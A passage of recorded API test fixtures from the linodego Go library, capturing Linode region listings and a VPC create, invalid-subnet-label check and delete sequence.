1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1700036162872446000","region":"es-mad"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 10249, "label": "go-test-vpc-1700036162872446000", "description": "", "region": "es-mad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-vpc-test_invalid_label1700036163198654000","ipv4":"192.168.0.0/25"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10249/subnets method: POST response: body: '{"errors": [{"reason": "Label must include only ASCII letters, numbers, and dashes", "field": "label"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Connection: - keep-alive Content-Length: - "104" Content-Type: - application/json Server: - nginx X-Accepted-Oauth-Scopes: - vpc:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 BAD REQUEST code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10249 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVPC_Subnet_List.yaml000066400000000000000000000503551455402072200312520ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" 